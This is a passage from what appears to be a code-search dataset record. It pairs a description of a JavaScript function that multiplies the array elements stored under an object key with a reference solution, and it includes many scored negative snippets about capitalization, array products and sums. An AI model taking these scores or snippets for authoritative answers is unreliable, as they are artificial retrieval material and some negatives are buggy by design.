newString=string.charAt(0).toUpperCase()+ string.slice(1)\nreturn newString\n}", "function toCap(str)\n{\n let strArray = str.split(' ');\n let result = strArray.map(function(word)\n {\n return(word[0].toUpperCase().concat(word.slice(1).toLowerCase()));\n });\n console.log(result.join(' '));\n}", "function capitalize(string){\r\n\treturn string.charAt(0).toUpperCase() + string.slice(1);\r\n}", "function capitalize(str) {\n let capArr = [];\n let strArr = str.split(' ');\n for (var i = 0; i < strArr.length; i++) {\n capArr.push(capital(strArr[i]));\n }\n return capArr.join(' ')\n\n\n}", "function letterCapitalize(str) {\n const chunks = str.split(' ');\n const output = [];\n for (let i = 0; i < chunks.length; i++) {\n let chunk = chunks[i];\n if (chunk.charAt(0) !== chunk.charAt(0).toUpperCase()) {\n chunk = chunk.charAt(0).toUpperCase() + chunk.substr(1);\n }\n output.push(chunk);\n }\n return output.join(' ');\n}", "function capitalize(str){\n\tfor(var i = 0; i<str.length; i++){\n\t\tif(i==0){\n\t\t\tstr = str[i].toUpperCase() + str.slice(i+1);\n\t\t}\n\t\telse if(str[i] == \" \" || str[i] == \"-\"){\n\t\t\tstr = str.slice(0, i+1) + str[i+1].toUpperCase() + str.slice(i+2);\n\t\t}\n\t}\n\treturn str;\n}", "function Capitalize(str) {\n \tvar first = str[0];\n\n \tif(isNaN(first))\n return first.toUpperCase() + str.slice(1);\n \telse \n \t return str;\n}", "function capitalizeLetters(str) {\n //first make sure all letters are lowercase, then split\n const strArr = str\n .toLowerCase()\n .split(\" \");\n\n //run through for loop\n for(let i = 0; i < strArr.length; i++) {\n strArr[i] = strArr[i].substring(0,1).toUpperCase() + strArr[i].substring(1);\n }\n\n return strArr.join(\" \");\n}", "function capitalizeStr(str) \n{\n str = str.split(\" \");\n\n for (let i = 0; i < str.length; i++) {\n str[i] = str[i][0].toUpperCase() + str[i].substr(1);\n \n }\n\n return str.join(\" \");\n}", "function capFirstLetter(input) {\n \"use strict\";\n var inputArray = [],\n cleanedArray = [],\n cleanedInput = '';\n\n inputArray = input.split(' ');\n cleanedArray = inputArray.map(function(val) {\n return val.charAt(0).toUpperCase() + val.slice(1).toLowerCase();\n });\n cleanedInput = cleanedArray.join(' ');\n\n return cleanedInput;\n}", "function capitalize(str)\n{\n\tvar strArray = str.trim().split(\" \");\n\tvar result = \"\";\n\tfor (var i = 0; i < strArray.length; i++) {\n\t result += strArray[i].charAt(0).toUpperCase()+strArray[i].slice(1);\n\t result += \" \";\n\t}\n return result.trim();\n}", "function capFirstLetter(string){\r\n return string.charAt(0).toUpperCase() + string.slice(1);\r\n }", "function capitaliseFirstLetter(string) {\n try {\n return string.charAt(0).toUpperCase() + string.slice(1);\n } catch (e) {\n showErrorMsg(e);\n }\n }", "function capitalize(str) {\n var splitStr = str.toLowerCase().split(' ');\n for (var i = 0; i < splitStr.length; i++) {\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].substring(1);\n }\n return splitStr.join(' ');\n}", "function capitalizeFirstLetter(string) {\n const words = string.split(' ');\n for (let i = 0; i < words.length; i++) {\n words[i] = words[i][0].toUpperCase() + words[i].slice(1);\n };\n\n return words.join(' ');\n}", "capitalizeFirstLetter(string) {\n return string.charAt(0).toUpperCase() + string.slice(1);\n }", "static capitalize(string){\n let firstLetter = string.slice(0,1).toUpperCase()\n return firstLetter + string.slice(1)\n }", "function firstLetterCapitalized (word){\n var letterOne = word.substring(0,1)\n var capitalizedLetter = letterOne.toUpperCase()\n return capitalizedLetter + word.substring(1)\n}", "function capitalize(s){\n let ss='';\n let c=s.charCodeAt(0);\n if(c > 96 && c < 123){\n ss+=String.fromCharCode(c - 32);\n }else{\n ss+=String.fromCharCode(c);\n }\n for (let i=1; i<s.length; i++){\n c=s.charCodeAt(i);\n if(c > 64 && c < 91){\n ss+=String.fromCharCode(c + 32);\n }else{\n ss+=String.fromCharCode(c);\n }\n }\n \n return ss;\n //return '*'+s.toLowerCase()+'*';\n}", "function capitalizeAllWords(string) {\n var splitStr = string.toLowerCase().split(' ');\n \nfor (var i = 0; i < splitStr.length; i++){\n splitStr[i] = splitStr[i].charAt(0).toUpperCase() + splitStr[i].slice(1);\n}\nreturn splitStr.join(' ');\n}", "function capitalize(string) {\n arr = string.split(' ');\n for (item of arr) {\n let index = arr.indexOf(item);\n let first = item.charAt(0).toUpperCase();\n item = first + item.slice(1);\n arr[index] = item;\n }\n return arr.join(' ');\n}", "function capitalize(string) {\n return `${string[0].toUpperCase()}${string.slice(1)}`;\n} //so we return the first character captitalized, and the rest of the string starting from the first index", "function capitalize(text){\n // in: \"some_string\"\n // out: \"Some_string\"\n return text.charAt(0).toUpperCase() + text.slice(1);\n}", "static capitalize(string){\n return string.charAt(0).toUpperCase()+ string.slice(1)\n }", "function capitaliseLetter(str) {\n return str[0].toUpperCase() + str.substring(1);\n}", "function ucFirstAllWords(str) {\n var word = str.split(\" \");\n for (var i = 0; i < word.length; i++) {\n var j = word[i].charAt(0).toUpperCase();\n word[i] = j + word[i].substr(1);\n }\n return word.join(\" \");\n}", "static capitalize(str){\n return str.charAt(0).toUpperCase() + str.slice(1);\n }", "function capLettersA(str) {\n return str\n .toLowerCase()\n .split(' ')\n .map( word => word[0].toUpperCase() + word.substr(1))\n .join(' ');\n}", "function capitaliseFirstLetter(string) {\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "function capitaliseFirstLetter(string) {\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "function capitalizeStr(str) {\r\n let input = str.toLowerCase().split(\" \"); // Seperating each words and make an array\r\n input = input.map(function (value, index, array) { // value is the iterator\r\n return value.charAt(0).toUpperCase() + value.slice(1);\r\n });\r\n\r\n return input.join(\" \");\r\n}", "function capitalizeFirstLetter(string) {\n return string.charAt(0).toUpperCase() + string.slice(1);\n }", "static capitalize(string){\n return string.charAt(0).toUpperCase() + string.slice(1);\n }", "static capitalize(string){\n return string.charAt(0).toUpperCase() + string.slice(1);\n }" ]
[ "0.86253905", "0.8236926", "0.82356685", "0.81326365", "0.8120004", "0.81135213", "0.80859464", "0.80687773", "0.80538607", "0.8037957", "0.80340827", "0.8007736", "0.8003785", "0.79952574", "0.79844195", "0.7976982", "0.79744995", "0.7941149", "0.79376227", "0.7933198", "0.7928378", "0.7907833", "0.7907269", "0.78961957", "0.7879147", "0.7878403", "0.7873938", "0.78692174", "0.7867175", "0.7837399", "0.78335017", "0.7816521", "0.78117186", "0.78084034", "0.7807071", "0.780242", "0.77912617", "0.77851534", "0.77786213", "0.77761036", "0.7773162", "0.77720696", "0.7765205", "0.7765205", "0.7765205", "0.7763381", "0.77535695", "0.7746558", "0.77465487", "0.7745693", "0.77288836", "0.7725516", "0.7722091", "0.7721709", "0.7721476", "0.77172184", "0.771521", "0.7712683", "0.77119184", "0.770955", "0.7708177", "0.77041525", "0.7703934", "0.7696477", "0.7693328", "0.76918894", "0.76908946", "0.7688968", "0.7688627", "0.7686618", "0.76863515", "0.76827675", "0.76782334", "0.76734436", "0.76715463", "0.76711005", "0.7656538", "0.7655544", "0.76505464", "0.7649953", "0.76424605", "0.7633354", "0.763079", "0.7628057", "0.7626697", "0.7626431", "0.7624376", "0.7622752", "0.76179993", "0.7615842", "0.76075643", "0.76044405", "0.76025283", "0.7600742", "0.7598336", "0.7598336", "0.75944954", "0.75932693", "0.7592637", "0.7592637" ]
0.79672426
17
Given an object and a key, "getProductOfAllElementsAtProperty" returns the product of all the elements in the array located at the given key. Notes: If the array is empty, it should return 0. If the property at the given key is not an array, it should return 0. If there is no property at the given key, it should return 0.
function getProductOfAllElementsAtProperty(obj, key) { // your code here var value = obj[key]; if(!Array.isArray(value) || !value.length || !value) { return 0; } return value.reduce((acc,curr) => acc * curr); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getSumOfAllElementsAtProperty(obj, key) {\n\tvar newArray;\n\tvar result = 0;\n\tfor (var key1 in obj){\n\t\tconsole.log(\"obj[key1]: \", obj[key1])\n\t\tif (Array.isArray(obj[key])){\n\t\t\tnewArray = obj[key];\n\t\t\tconsole.log(\"newArray: \", newArray)\n\t\t\tfor (var i = 0; i < newArray.length; i++){\n\t\t\t\tresult = result + newArray[i]\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}", "function getPropertyArrayToAlter(key)\n{\n if (key == SEARCH_PROPERTY_KEY)\n {\n return viewModel.product().Product.SearchPropertyList();\n }\n else if (key == CHECKOUT_PROPERTY_KEY)\n {\n return viewModel.product().Product.CheckoutPropertyList();\n }\n\n return null;\n}", "function productOfArray(arr) {\n \n}", "function getPriceArray(shoppingCart){\n return shoppingCart.map(item => item.price * item.quantity);\n}", "function sum(arr, prop) {\n\treturn arr.map(function(k) {\n\t\treturn k[prop];\n\t}).reduce(function(a, b) {\n\t\treturn a + b;\n\t});\n}", "function arrayProd(pArray)\n{\n return pArray.reduce(function(tot,item){return tot*=item},1,this)\n}", "function productOfArray(arr) {\n if (arr.length === 0) return;\n return arr[0] * productOfArray(arr.slice(1));\n}", "function productOfArray(arr) {\n if (arr.length === 1) {\n return arr[0]\n }\n let first = arr[0]\n return first * productOfArray(arr.slice(1))\n}", "function productOfArray(arr){\n if (toString.call(arr) !== \"[object Array]\"){\n return false;\n }\n return arr.reduce(function(product, cur){\n if (isNaN(cur)){\n return product;\n }\n return product *= cur;\n });\n}", "function productOfArray(arr) {\n if (arr.length < 1) return 0;\n let product = 1;\n function helper(arr) {\n if (arr.length < 1) return product;\n product *= arr[0];\n helper(arr.slice(1));\n }\n helper(arr);\n return product;\n}", "function productOfArray(arr) {\n if (arr.length === 0) {\n return 1;\n }\n return arr[0] * productOfArray(arr.slice(1));\n}", "function productOfArray(arr) {\n if (arr.length === 0) {\n return 1;\n }\n return arr[0] * productOfArray(arr.slice(1));\n}", "function productOfArray(arr) {\n if (arr.length === 0) return 1;\n return arr[0] * productOfArray(arr.slice(1));\n}", "function productOfArray(arr) {\n if (arr.length === 0) return 1;\n\n return arr[0] * productOfArray(arr.slice(1));\n}", "function productOfArray(arr) {\n if (arr.length === 0) {\n return 1;\n }\n return arr[0] * productOfArray(arr.slice(1));\n}", "function productOfArray(arr) {\n if(arr.length === 0) {\n return 1;\n }\n return arr[0] * productOfArray(arr.slice(1));\n}", "function productOfArray(arr) {\n if (arr.length === 0) return 1\n return arr[0] * productOfArray(arr.slice(1))\n}", "function arrayOfProducts(array) {\n return array.map((num1,i) => {\n\t\tlet product = 1;\n\t\tarray.forEach((num2,j) => {\n\t\t\tif (i !== j) product *= num2;\n\t\t})\n\t\treturn product\n\t})\n}", "function findProduct(arr) {\n const product = arr.reduce((acc, element) => acc *= element )\n return arr.map(element => product / element)\n}", "function productEach(arr){\n let product = 1;\n arr.forEach(el => {\n product = product * el;\n })\n return product;\n}", "function product(arr) {\n if (arr.length === 0) {\n return 0;\n } else {\n return arr.reduce((prod, el)=> {\n return prod *= el\n })\n }\n}", "function arrayOfProducts(array) {\n\nlet newArr = new Array(array.length).fill(1)\n\nfor(let i=0; i< array.length; i++){\n\tlet value = 1\n\t\t\n\t\tfor(let j=0; j < array.length; j++){\n\t\t\tif(i === j) continue\n\t\t\t\n\t\t\tvalue *= array[j]\n\t\t}\n\t\n\tnewArr[i] = value\n}\n\nreturn newArr\n\t\n}", "function productSum(array,multiplier = 1){\n let sum = 0;\n for(let element of array){\n if(Array.isArray(element)){\n sum += productSum(element,multiplier+1);\n } else {\n sum += element;\n }\n }\n return sum * multiplier;\n }", "function products(arr) {\n\n let newArr = [];\n for (let i = 0; i < arr.length; i++) {\n let total = 1;\n //For every number, loop through the array.\n for (let j = 0; j < arr.length; j++) {\n //If the indexes are the same, don't do anything, else multiply the total with the number\n if (j !== i) {\n total = arr[j] * total\n }\n }\n newArr.push(total)\n }\n return newArr\n }", "function productOfArray(arr) {\n if (!arr.length) return 0;\n if (arr.length === 1) return arr[0];\n return arr.shift() * productOfArray(arr)\n}", "function getSubArrayByKey(item, key) {\n\tvar val = item[key];\n\tif(val == null) {\n\t\tval = new Array();\n\t}\n\treturn val;\n}", "function getSubArrayByKey(item, key) {\n\tvar val = item[key];\n\tif(val == null) {\n\t\tval = new Array();\n\t}\n\treturn val;\n}", "function getSubArrayByKey(item, key) {\n\tvar val = item[key];\n\tif(val == null) {\n\t\tval = new Array();\n\t}\n\treturn val;\n}", "function products(arr) { \n //find the product of the entire arr\n let total_product = 1;\n for (let i = 0; i < arr.length; i++) {\n total_product = total_product * arr[i];\n }\n //loop through the array and find total_product/value for each element\n let newArr = [];\n for (let i = 0; i < arr.length; i++) {\n newArr.push(total_product/arr[i]);\n }\n //return new array\n return newArr;\n}", "getProductCount(array) {\n let productCount = 0;\n array.value.splitEntries.map((item) => {\n productCount += Number(item.qty);\n });\n return productCount;\n }", "function totalValue($arr) {\n var $totalProductValue = 0; // create variable to hold total value\n for (i=0;i<$arr.length;i++) { // loop through every item in the $products array\n $productObj = $arr[i]; // get each product object from the array\n $perItemCost = $productObj['unit_price']; // create variable for individual item cost and get each product object's unit_price value\n $perItemInventory = $productObj['inventory']; // create variable for individual item inventory and get each product object's inventory value\n $perItemValue = $perItemCost * $perItemInventory; // calculate total value of each item's inventory \n $totalProductValue += $perItemValue; // add indiv item's value to the totalProductValue variable\n }\n return $totalProductValue; // returns the total value after the loop is complete\n }", "get products() {\n return Array.from(this._products.values());\n }", "function productOfArray(arr){\n\n\n function helper(Arrinp){\n if(Arrinp.length === 0) return 1;\n return Arrinp[0] * helper(Arrinp.slice(1));\n }\n\n return helper(arr);\n}", "function getElements(o, elKey = '_obj', arrKey = '_set') {\n\t// {_set:[{_obj:1},{_obj:2},...]} ==> [1,2,..]\n\tif (!o) return [];\n\tlet res = o[arrKey] ? o[arrKey] : o;\n\tif (isList(res) && res.length > 0) return res[0][elKey] ? res.map(x => x[elKey]) : res;\n\telse return [];\n}", "function multiplyAll(arr) {\n var product = 1;\n for (var i = 0; i < arr.length; i++) {\n for (var k = 0; k < arr[i].length; k++) {\n product *= arr[i][k];\n }\n }\n return product;\n}", "filterMultiplyProductKey(_, args) {return queryFilterMultiplyProductKey(args.key)}", "function arrayProducts(arr){\n let newArr = []\n let product = arr.reduce( (a,b) => a*b )\n for (let n=0; n<arr.length; n++){\n newArr.push(product/arr[n])\n }\n return newArr\n}", "function getVal(input, key) {\n for (var i=0; i < input.length ; ++i){\n if(input[i]['size'] == key){\n return input[i]['quantity'];\n }\n }\n }", "function productOfArray(arr){\n if(arr.length === 0) return 1;\n\n return arr.pop() * productOfArray(arr);\n}", "SumArrayObjectByProperties(objectList, property) {\n var Total = objectList.reduce(function (prev, cur) {\n return prev + cur[property];\n }, 0);\n return Total;\n }", "function productOfArray(arr) {\n let result = 1\n\n function helper(helperInput) {\n //base case\n if (helperInput.length <= 0) return 1\n result = result * helperInput[0]\n helper(helperInput.slice(1))\n }\n helper(arr)\n return result\n}", "function product(arr) {\n let product = 1;\n if(arr.length === 0){\n product = 0;\n } else {\n arr.forEach( (el) => product *= el);\n }\n return product;\n}", "function products(arr) {\n let totalProduct = 1;\n\n for (let i = 0; i < arr.length; i++) {\n totalProduct *= arr[i];\n }\n\n for (let i = 0; i < arr.length; i++) {\n arr[i] = totalProduct / arr[i];\n }\n return arr;\n}", "function products(arr){\n let newArr = []\n let p ;\n for (let i=0;i<arr.length;i++){\n p=1\n for (let j=0;j<arr.length;j++){\n if (i !== j){\n p = p * arr[j]\n }\n }\n newArr.push(p)\n }\n return newArr\n}", "function productOfArray(arr) {\n let result = 1;\n function helper(helperArr) {\n if (helperArr.length === 0) {\n return;\n } else {\n result = helperArr[0] * result;\n }\n helper(helperArr.slice(1));\n }\n helper(arr);\n return result;\n}", "function sumAndProductOfElementInAnArray(arrayOfElements){\n let element = 0\n let sum = 0;\n let product = 1\n while(element < arrayOfElements.length){\n sum += arrayOfElements[element]\n product*= arrayOfElements[element]\n element++;\n }\n return console.log(\"sum : \" + sum, \"product : \" +product)\n}", "function unpackun(array, key) {\r\n return array.map(a => a[key] * a['LBP']);\r\n}", "function multiplyAll(arr) {\r\n var product = 1;\r\n for (var i = 0; i < arr.length; i++) {\r\n for (var j = 0; j < arr[i].length; j++) {\r\n product = product * arr[i][j];\r\n }\r\n }\r\n return product;\r\n }", "function getElementsLessThan100AtProperty(obj, key) {\n\tvar newArray;\n\tvar result = [];\n\tfor (var key1 in obj){\n\t\tif (obj[key1] === obj[key]){\n\t\t\tnewArray = obj[key1];\n\t\t\tfor (var i = 0; i < newArray.length; i++){\n\t\t\t\tif (newArray[i] < 100){\n\t\t\t\t\tresult.push(newArray[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}", "function findProducts(numArray) {\n let totalProduct = 1;\n let products = [];\n \n for (let i = 0; i < numArray.length; i++) {\n totalProduct *= numArray[i];\n }\n \n for (let j = 0; j < numArray.length; j++) {\n const product = Math.floor(totalProduct / numArray[j]);\n products.push(product);\n }\n \n return products;\n }", "function getAllProdsBuN(inArr) {\n var productAllButIndex = [];\n var productSoFar = 1;\n\n\n for ( var i = 0; i < intArr.length; i++ ) {\n productAllButIndex.push(productSoFar);\n productSoFar *= inArr[i]\n };\n}", "function computeProductOfAllElements(arr) {\n\t//if arr length is zero\n\tif (arr.length === 0) {\n\t\t// then return 0\n\t\treturn 0;\n\t}\n\t// use reduce with the starting point = 0\n\treturn arr.reduce((prev, next) => {\n\t\treturn prev * next;\n\t});\n\t// add the acc + currentVal and return it\n}", "function products(arr) {\n\tlet ret = [];\n\tfor (let idx1 = 0; idx1 < arr.length; ++idx1) {\n\t\tlet prod = 1;\n\t\tfor (let idx2 = 0; idx2 < arr.length; ++idx2) {\n\t\t\tif (idx1 != idx2) {\n prod *= arr[idx2];\n }\n\t\t}\n\t\tret.push(prod);\n\t}\n\treturn ret;\n}", "function multiplyAll(arr) {\n var product = 1;\n for (var i = 0; i < arr.length; i++) {\n for (var j = 0; j < arr[i].length; j++) {\n product = product * arr[i][j];\n }\n }\n return product;\n}", "function multiplyAll(arr){\n var product = 1;\n for (var i=0; i < arr.length; i++){\n for (var j=0; j < arr[i].length; j++){\n product *= arr[i][j];\n }\n }\n return product;\n}", "function testProduct() {\n\n\tvar array1 = [\n\t\t[ ':a' ]\n\t];\n\t\n\tvar array2 = [\n\t\t[ ':a' ], \n\t\t[ ':b' ]\n\t];\n\t\n\tvar array3 = [\n\t\t[ ':b', ':c' ],\n\t\t[ ':d', ':e' ]\n\t];\n\t\n\t\n\t// var expression1 = [ ':a', [ ':b', ':c', ':d', [ ':e', ':f' ] ] ];\n\tvar exp = product( \n\t\t[[ ':a' ]], \n\t\tconcat( \n\t\t\t[[ ':b', ':c' ]], \n\t\t\tproduct( \n\t\t\t\t[[ ':d' ]], \n\t\t\t\t[[ ':e' ], [ ':f' ]] \n\t\t\t)\n\t\t)\n\t);\n\t\n\tvar res1 = product( array1, array3 );\n\tvar res2 = product( array2, array3 );\n\tvar res3 = product( array3, array3 );\n\tvar res4 = product( res1, res2 );\n\t\n\tconsole.log( \"done\" );\n}", "function products(arr){\n let result = [];\n for (let i = 0 ; i < arr.length; i ++ ){\n let prod = 1\n for (let j = 0; j < arr.length; j++){\n if (i !== j){\n prod *= arr[j]\n }\n }\n result.push(prod);\n }\n return result;\n\n}", "function getProduct() {\n\n let product = 0;\n let selectedProduct = document.querySelectorAll(\"input[type=checkbox]\");\n\n for (let i = 0; i < selectedProduct.length; i++) {\n if (selectedProduct[i].checked) {\n product += productArray[selectedProduct[i].value] || 0;\n }\n }\n return product;\n}", "function arrayOfProducts(array) {\n\tlet res = [];\n\t\n let preIprod = 1, \n\t\tpostIprod = 1; \n\t\n\tfor(let i = 0; i < array.length; i++) {\n\t\tres[i] = preIprod;\n\t\tpreIprod = preIprod * array[i];\n\t}\n\t\n\tfor(let j = array.length-1; j >= 0; j--) {\n\t\tres[j] = res[j] * postIprod; \n\t\tpostIprod = postIprod * array[j]\n\t}\n\t\n\treturn res;\n}", "function findValues(obj, key) {\n return findValuesHelper(obj, key, []);\n}", "function arrayOfProducts1(array) {\n // Write your code here.\n const output = [];\n for (let i = 0; i < array.length; i++) {\n let product = 1;\n for (let j = 0; j < array.length; j++) {\n if (!(i === j)) {\n product *= array[j];\n }\n }\n output.push(product);\n }\n return output;\n}", "function multiplyAll(arr){\n var product = 1;\n\n for(var i = 0; i < arr.length; i++){\n for(var j = 0; i < arr[i].length; j++){\n product *=arr[i][j];\n }\n }\n}", "function calcMetaDataField_multiply(data,params,field)\n{\n if(field.target.length == 0){\n\tconsole.log(\"no fields were given to multiply by\");\n\treturn(0);\n }\n \n // grab the first element (because i could set this to 1 or 0, but then either\n // the product would always be 0, or a return of 1 would come back on an unseccessful multiplication)\n var product = normalizeDataItem(data,field.target[0]);\n\n // now we need to check if the product we start with is an array with a length greater than 1, we will also do this in the loop\n if(product.length > 1){\n\tconsole.log(\"Cannot multiply by an array (this is likely a list of events)\");\n\treturn null;\n }\n \n var nextNum;\n\n // for each target multiply the current product by the next target field\n for(var i = 1; i < field.target.length; i++){\n\tnextNum = normalizeDataItem(data,field.target[i]);\n\t// if our next num is an array with length greater than 1 we can't multiply, return null\n\tif(nextNum.length > 1){\n\t console.log(\"Cannot multiply by an array (this is likely a list of events)\");\n\t return null;\n\t}\n\tproduct = product * parseFloat(nextNum[0]); // ensure that we're working with a number\n }\n \n return(product);\n}", "function productSum(array, level = 1) {\n // Write your code here.\n let global_sum = 0; \n for(let element of array) {\n if(Array.isArray(element)) { \n global_sum += productSum(element, level + 1); \n } else {\n global_sum += element; \n }\n }\n return global_sum * level; \n }", "function multiplyAll(arr) {\n var product = 1;\n\n for (var i = 0; i < arr.length; i++) {\n for (var j = 0; j < arr[i].length; j++) {\n product *= arr[i][j];\n }\n }\n\n return product;\n}", "function findProd(array) {\n let sumArray = [];\n let sum = 1;\n\n for (let i = 0; i < array.length; i++) {\n sum = sum * array[i];\n }\n\n for (let i = 0; i < array.length; i++) {\n sumArray.push(sum / array[i]);\n }\n return sumArray;\n}", "function getProducts(arr) {\n\tlet afters = [];\n\tlet before = [];\n\tlet newArr = [];\n\tlet prod = 1;\n\n\tfor (let i = arr.length-1; i >=0; i--){\n\t\tafters[i] = prod;\n\t\tprod = prod * arr[i];\n\t}\n\n\tprod = 1;\n\tfor (let i = 0; i < arr.length; i++){\n\t\tbefore[i] = prod;\n\t\tprod = prod * arr[i];\n\t}\n\n\tfor (let i = 0; i < arr.length; i++){\n\t\tnewArr[i] = before[i] * afters[i];\n\t}\n\n\treturn newArr;\n}", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function pluck(obj, key) {\n return map(obj, property(key));\n }", "function products(arr) {\n let prodArr = [];\n for(let i = 0; i < arr.length; i++) {\n let product = 1;\n for(let j = 0; j < arr.length; j++) {\n if(arr[i] !== arr[j]) {\n product = product * arr[j];\n }\n }\n prodArr.push(product);\n }\n console.log(prodArr);\n}", "getValueAt (ix, key) {\n const { elements } = this.specs[key]\n const array = this.arrays[key]\n if (elements === 0) return array\n return array[ix]\n }", "function product(array) {\n //Write your code here\n}", "allProducts(productsListFromProps) {\n if (productsListFromProps.length > 0) {\n const l = productsListFromProps.length;\n let indexedProductsAll = [];\n for (let x = 0; x < l; x++) {\n indexedProductsAll.push({ seqNumb: x, details: productsListFromProps[x] })\n }\n return indexedProductsAll;\n } else {\n return [];\n }\n }", "function arrayOfProducts(array) {\n let left_products = Array(array.length).fill(1); \n let right_products = Array(array.length).fill(1); \n let result_products = Array(array.length).fill(1); \n \n let left_running_prod = 1; \n for(let i = 0; i < array.length; i++) {\n left_products[i] = left_running_prod; \n left_running_prod *= array[i]; \n }\n\n let right_running_prod = 1; \n for (let i = array.length - 1; i >= 0; i--) {\n right_products[i] = right_running_prod; \n right_running_prod *= array[i]; \n }\n\n for(let i = 0; i < array.length; i++) {\n result_products[i] = left_products[i] * right_products[i]; \n }\n\n return result_products; \n}", "function multiplyAll(arr) {\n var product = 1;\n // Only change code below this line\n for (var i = 0; i < arr.length; i++) {\n for (var j = 0; j < arr[i].length; j++) {\n product *= arr[i][j];\n }\n }\n // Only change code above this line\n return product;\n}", "function calculateTotalCost(shoppingCart) {\n let total = 0;\n for (let product of shoppingCart) {\n total += product.price * product.count\n }\n\n return total\n}", "function multiply(elements) {\n return elements.reduce((product, element) => {\n product *= element;\n return product;\n }, 1);\n}", "function getTotalPrice(foodList) {\n let totalPrice = 0;\n if(Array.isArray(foodList)) {\n for(let i = 0; i < foodList.length; i++) {\n totalPrice = totalPrice + (foodList[i].price * foodList[i].quantity);\n }\n return totalPrice;\n } else {\n return foodList;\n }\n}", "function reduce(key, arr) {\n return arr.length;\n }", "function multiplyAll(arr) {\n var product = 1;\n // Only change code below this line\n for (var i=0; i < arr.length; i++) {\n for (var j=0; j < arr[i].length; j++) {\n product *= arr[i][j];\n }}\n // Only change code above this line\n return product;\n}", "function multiplyAll(arr) {\n var product = 1;\n // Only change code below this line\n for (var i=0; i < arr.length; i++) {\n for (var j=0; j < arr[i].length; j++) {\n product = product * arr[i][j];\n }\n}\n // Only change code above this line\n return product;\n}", "function product(arr) {\n var sum = 1;\n\n for (var i = 0; i < arr.length; i++) {\n sum *= arr[i];\n }\n\n return sum;\n}", "function productTotal() {\n for (let i = 0; i < basket.length; i++) {\n let price = Number(basket[i].price.replace(/[^0-9.-]+/g,\"\"));\n let totalPrice = price * basket[i].quantity;\n basket[i].totalPrice = totalPrice\n } \n}", "function productOfArray2(arr) {\n if (arr.length === 0) {\n return 1;\n }\n return arr[0] * productOfArray(arr.slice(1));\n}", "function arrayMultiply (array1, array2){\n let arrayProduct = 0\n let i\n for (i=0;i<array1.length;i++){\n arrayProduct = arrayProduct + (array1[i]*array2[i])\n }\n return arrayProduct\n}", "function calcInventoryValue(items) {\n let totalValue = 0;\n for (const inventories of inventory) {\n totalValue += (inventories.product.price * inventories.quantity);\n }\n ;\n // console.log(totalValue);\n return totalValue;\n}", "function getEvenLengthWordsAtProperty(obj, key) {\n\tvar result = [];\n\tvar newArray;\n\tfor (var key1 in obj){\n\t\tif (obj[key1] === obj[key] && Array.isArray(obj[key1])){\n\t\t\tnewArray = obj[key1];\n\t\t\tfor (var i = 0; i < newArray.length; i++){\n\t\t\t\tif (newArray[i].length % 2 === 0){\n\t\t\t\tresult.push(newArray[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}", "function product(...arr) {\n\tvar numbers = [...arr];\n\tconsole.log(numbers);\n\treturn numbers.reduce(function (acc, number) {\n\t\treturn acc * number;\n\t}, 1);\n}", "function productArray(numbers){\n let result = []\n numbers.forEach((number, index) => {\n let res = 1;\n numbers.forEach((subNumber, subIndex) => {\n if(index !== subIndex) {\n res *= subNumber\n }\n })\n result.push(res)\n })\n return result\n }", "function allprop(a,p){return Math.min.apply(null,a.map(function(x){return x[p]}))}", "function productReduce(array) {\n return array.reduce((total, n) => { return total *= n});\n}", "function products(arr) {\n const maxProduct = arr.reduce((acc, val) => {\n acc *= val;\n return acc;\n });\n \n return arr.map(num => maxProduct / num);\n}", "function shoppingSpree(arr) {\n return arr.reduce((a, b) => a + b.price, 0)\n}" ]
[ "0.70237064", "0.5944965", "0.5692357", "0.5555298", "0.55425763", "0.54273564", "0.54032826", "0.5289455", "0.52718747", "0.5265621", "0.5261461", "0.5261461", "0.52513874", "0.5237852", "0.52337754", "0.5232163", "0.5173748", "0.51517934", "0.5140771", "0.5136238", "0.5132533", "0.51302236", "0.5127703", "0.5122913", "0.51194304", "0.51189494", "0.51189494", "0.51189494", "0.51120543", "0.51110095", "0.5101691", "0.5101", "0.51006275", "0.508468", "0.5084211", "0.50819176", "0.50752854", "0.50260633", "0.49975184", "0.4989034", "0.49840245", "0.4982788", "0.49639326", "0.4958782", "0.4946666", "0.49178353", "0.4913652", "0.49066737", "0.4878763", "0.48763815", "0.4875675", "0.48716658", "0.48579776", "0.48495084", "0.48323974", "0.48269802", "0.48266494", "0.48259696", "0.48199314", "0.48179355", "0.4817122", "0.48126024", "0.47983703", "0.47650445", "0.47430876", "0.47308195", "0.47174785", "0.47157156", "0.47157156", "0.47157156", "0.47157156", "0.47157156", "0.47157156", "0.47157156", "0.47157156", "0.47157156", "0.4692708", "0.46924523", "0.46845493", "0.4667964", "0.4667577", "0.46563995", "0.46499965", "0.46399957", "0.46242052", "0.4622055", "0.4620182", "0.4606722", "0.4598227", "0.4597473", "0.4596936", "0.45846185", "0.45825964", "0.45754316", "0.45638263", "0.45615646", "0.45393288", "0.4538507", "0.45330223", "0.45285434" ]
0.8198416
0
RESTlet Get NetSuite record data
